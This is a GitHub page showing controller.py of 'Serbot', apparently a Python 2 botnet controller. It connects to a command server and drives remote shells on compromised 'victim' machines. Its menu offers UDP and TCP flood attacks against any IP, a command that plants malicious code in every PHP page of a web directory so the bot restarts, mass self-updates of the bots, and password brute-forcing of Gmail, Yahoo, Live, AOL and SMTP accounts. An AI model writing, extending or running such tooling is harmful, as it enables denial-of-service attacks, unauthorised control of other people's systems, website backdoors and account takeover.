-
Notifications
You must be signed in to change notification settings - Fork 43
/
Copy pathcontroller.py
executable file
·146 lines (132 loc) · 3.88 KB
/
controller.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
#!/usr/bin/env python2
import subprocess, os, sys, time, threading
from socket import *
intro = """
____ ____ ____ ____ ____ ____
||S |||e |||r |||b |||o |||t ||
||__|||__|||__|||__|||__|||__||
|/__\|/__\|/__\|/__\|/__\|/__\|
Coded by: dotcppfile
Twitter: https://twitter.com/dotcppfile
Blog: http://dotcppfile.worpdress.com
"""
commands = """
Primary:
--------
accept | Accept connections
list | List connections
clear | Clear the console
quit | Close all connections and quit
credits | Show Credits
help | Show this message
Client Interaction:
-------------------
interact <id> | Interact with client
stop | Stop interacting with client
udpflood <ip>:<port> | UDP flood threw client
tcpflood <ip>:<port> | TCP flood threw client
serbackdoor <web dir> | Infects all PHP Pages with Malicious Code that will run the Serbot Client (if killed) again
rmbackdoor <web dir> | Removes the Malicious PHP Code
Wide Commands:
--------------
udpfloodall <ip>:<port> | Same as `udpflood` but for All clients
tcpfloodall <ip>:<port> | Same as `tcpflood` but for All clients
selfupdateall | Update all Clients with the new version from Github
Bruteforce:
-----------
gmailbruteforce <email>:<keys>:<min>:<max>
yahoobruteforce <email>:<keys>:<min>:<max>
livebruteforce <email>:<keys>:<min>:<max>
aolbruteforce <email>:<keys>:<min>:<max>
Example: gmailbruteforce someone@gmail.com:0123456789:6:8
custombruteforce <address>:<port>:<email>:<keys>:<min>:<max>
Example: custombruteforce smtp.whatever.com:587:something@whatever.com:abcdefghi:4:6
\n"""
if (len(sys.argv) == 4):
host = sys.argv[1]
port = int(sys.argv[2])
password = sys.argv[3]
else:
sys.exit("Usage: client.py <server ip> <server bridge port> <password>")
def main():
print intro
try:
s=socket(AF_INET, SOCK_STREAM)
s.connect((host,port))
except:
sys.exit("[ERROR] Can't connect to server")
s.send(password)
while 1:
command = raw_input("> ")
try:
if (command == "accept"):
s.send("accept")
print s.recv(20480)
elif (command == "list"):
s.send("list")
print s.recv(20480)
elif ("interact " in command):
s.send(command)
temporary = s.recv(20480)
if ("ERROR" not in temporary):
victimpath = s.recv(20480)
if ("ERROR" not in victimpath):
breakit = False
while (breakit == False):
msg = raw_input(victimpath)
allofem = msg.split(";")
for onebyone in allofem: #This your happy day one liners
if (onebyone == "stop"):
s.send("stop")
print "\n"
breakit = True
elif ("cd " in onebyone):
s.send(onebyone)
victimpath = s.recv(20480)
if ("ERROR" in victimpath):
print victimpath
breakit = True
elif (onebyone == ""):
print "[CONTROLLER] Nothing to be sent...\n"
else:
s.send(onebyone)
print s.recv(20480)
else:
print victimpath
break
else:
print temporary
elif (("udpfloodall " in command) or ("tcpfloodall " in command)):
s.send(command)
print "\n"
elif (command == "selfupdateall"):
s.send("selfupdateall")
print "\n"
elif(command == "clear"):
if sys.platform == 'win32':
os.system("cls")
else:
os.system("clear")
elif(command == "quit"):
s.send("quit")
s.close()
break
elif(command == "help"):
print commands
elif(command == "credits"):
print "--------\nCredits:\n--------\nCoded by: dotcppfile\nTwitter: https://twitter.com/dotcppfile\nBlog: http://dotcppfile.worpdress.com\n"
else:
print "[CONTROLLER] Invalid Command\n"
except KeyboardInterrupt:
try:
s.send("quit")
s.close()
print ""
break
except:
pass
except:
print "[CONTROLLER] Connection Closed"
s.close()
break
main()